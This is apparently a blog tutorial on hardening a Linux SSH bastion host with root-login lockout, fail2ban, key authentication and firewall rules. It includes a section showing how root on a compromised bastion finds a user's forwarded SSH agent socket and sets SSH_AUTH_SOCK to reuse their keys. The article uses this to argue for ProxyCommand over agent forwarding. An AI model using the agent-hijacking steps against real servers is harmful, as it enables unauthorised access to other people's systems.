In this article, I'll show you how to hack server if is bastion host is compromised. let's talk for about bastion host...
What is the bastion host?
On Wikipedia, you may read that "bastion host is a special purpose computer on a network specifically designed and configured to withstand attacks." but it's more important to make correct server configuration otherwise bastion host can be a weapon for an attacker.
How to configure bastion server?
Let's configure Linux servers and then we can start hacking. Imagine that we have N number of Linux instances and one bastion server. We will use private key ssh authentification for our Linux instances. For testing purpose, we will use user/password authentification for the bastion server. Let's start the configuration.
- Create a user for the server
adduser bastion
passwd bastion
- open sshd_config and edit configuration. Change PermitRootLogin yes to PermitRootLogin no
vim /etc/ssh/sshd_config
- Restart sshd and check the status
systemctl restart ssh
systemctl status sshd
You should see something like that:
[vq@localhost~]# systemctl status sshd
● sshd.service - OpenSSH server daemon
Loaded: loaded (/usr/lib/systemd/system/sshd.service;
enabled; vendor preset: enabled)
Active: active (running)
since Wed 2018-07-04 10:02:06 UTC; 32s ago
Docs: man:sshd(8)
man:sshd_config(5)
Main PID: 11595 (sshd)
CGroup: /system.slice/sshd.service
└─11595 /usr/sbin/sshd -D
Jul 04 10:02:06 systemd[1]:Starting OpenSSH server daemon...
Jul 04 10:02:06 sshd[11595]: Server listening on 0.0.0.0 port 22
Jul 04 10:02:06 sshd[11595]: Server listening on :: port 22
Jul 04 10:02:06 *** systemd[1]:
Started OpenSSH server daemon.
Now you can't log in via the root user. You can see if this configuration checks out.
vq@localhost:~> ssh root@X.X.X.X
root@X.X.X.X's password:
Permission denied, please try again.
- Let's block user if he/she tries to log in with incorrect user/password. For example we can give him/her three chances to log in - otherwise, we can block permanently or temporarily. So we can use fail2ban.
sudo yum install epel-release
sudo yum install fail2ban
- Duplicate fail2ban configure to create override config file:
cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
vim jail.local
- If you use CentOS you need to change backend variable in the configuration. Just open jail.local file and change auto to systemd.
[DEFAULT]
backend = systemd
- Now enable SSH daemon jail in the jail.local file (anyway it's necessary for CentOS 7)
[sshd]
enabled = true
- Set bantime, findtime, and maxretry values. For example:
bantime = 1000
findtime = 1000
maxretry = 3
- Enable fail2ban and restart service
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
Now if you try authentification with incorrect user/password you will be blocked.
How to configure ssh private key authentification on Linux?
adduser usr
passwd usr
ssh-keygen
- Copy public key to the server
ssh-copy-id -i ~/.ssh/name.pub usr@IP
ssh -i name usr@IP
- Disable root login and password authentification to the following file:
vim /etc/ssh/sshd_config
PasswordAuthentication no
PermitRootLogin no
- hmm... why not to change SSH port? Let's tell SELinux that we need to change it. Let's use just random number 2597
yum -y install policycoreutils-python
semanage port -a -t ssh_port_t -p tcp 2597
- Now change port in sshd_config.
vim /etc/ssh/sshd_config
Check configuration file
sshd -t
sudo systemctl restart sshd
- Check what port is LITESENING
sudo netstat -lntp | grep ssh
- Allow ssh login only from bastion. So open 2597 port only for bastion. If you use firewalld run the following command:
firewall-cmd
--permanent
--zone=public
--add-rich-rule='rule family="ipv4"
source address="BASTION_IP/32"
port protocol="tcp"
port="2597" accept'
If this is not your server just check your default zone.
firewall-cmd --get-default-zone
And check your rules:
firewall-cmd --list-all
But maybe you prefer to use iptables instead of firewald:
iptables -I INPUT -p tcp -s BASTION_IP --dport 2597 -j ACCEPT
iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 2597 -j DROP
if this is not your own server just check iptable rules and remove some of them if necessary:
iptables -L --line-numbers
sudo iptables -D INPUT {line}
How to access my server via the Bastion? Generally, there are many ways but some of them are not secure. Let's talk for about them.
How to use AgentForwarding
- Create config in ~/.ssh/config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
- Add your authentification key to ssh agent
ssh-add ~/.ssh/name_rsa
- Connect to bastion host using username/password
ssh bast
- Connect application server
ssh app@IP -p PORT
As you see you should connect your remote servers via the bastion server. The same scenario is if you want to upload/download files:
- Download file from remote server to BASTION. Run the command in Bastion server
scp -P PORT app@IP:/src_path /dest_path
- Download file from BASTION to LOCA machine. Run the command in LOCAL machine:
scp -P PORT bastion@ip:/src_path /dest_path
or
scp -P PORT bast:/src_path /dest_path
scp /src_path bastion:/dest_path
You may, well, ask me the question: Is my server secure? And the answer is quite simple:
- Le't me tell you: NO!
- Why?
- Because you are using SSH Agent forwarding?
- And where is the problem?
- Because Agent forwarding is dangerous and it's consider considered harmful.
Let's explain everything inside out: When you connect bastion host your glorious ssh agent is forwarded. It means that the socket will be set up so that someone may use this socket data to access your servers. Imagine that your bastion server is compromised, If someone has sufficient permissions on your Linux server he/she will just use your socket info. As a result, all your server can be accessed. I know window of compromise is very small because it depends on how much time you are connected to the bastion host. But do you really want to the risk when you have other options like ProxyCommand? Hence, just use ProxyCommand!
How to hack servers if you compromised bastion host?
In /tmp directory you may see something like that:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
let's open the temporary file
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Let's see connections to this process id.
netstat -nxp | grep 10507
result:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
and who is connected?
lsof -i -a -p 10507
result:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
We can also see socket files:
cd /proc/10507/fd/
ls
result:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
And what happens when client will be connected to remote server? let's see:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
We can even see if socket file is used using netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
but wait we need to steal the socket information while the session of bastion host is open. Oh, we also need destination server IP, so just use netstat It's funny but you might find something like that on the internet.:
netstat -tn 2>/dev/null
grep :22 | awk '{print $5}' | cut -d: -f1 |
sort | uniq -c | sort -nr | head
Sometimes people try to demonstrate their knowledge but just make everything simple.
netstat -tn
The final step to use the forwarded socket file
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Check if the key is loaded.
ssh-add -l
result should be something like that:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Ok. We have seen that Agent Forwarding is a problem. But where is the solution? Fortunately, we can just use a proxy command. So let's rewrite our configuration:
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Now it's very simple to connect your server
ssh app
Do you want to download something from bastion?
scp bast:/home/bastion/sh ~/
Maybe you want to download something from the remote server via the bastion tunnel:
scp -P **** app:/src_path /dest_path
Maybe you want to ypload something to remote server via the bastion tunel:
scp -P **** app:/src_path /dest_path
Conclusion
- If you use bastion host, don't use AgentForwarding but use ProxyCommand
- Always use non root user for authentification
- Use firewall and block all unnecessary connections.
- Use SELinux
- Block the IP address who tries to login several time with incorrect credentials
- If it's not necessery don't give sudo permission to the user
- Monitor your server
- Update your server for security patches
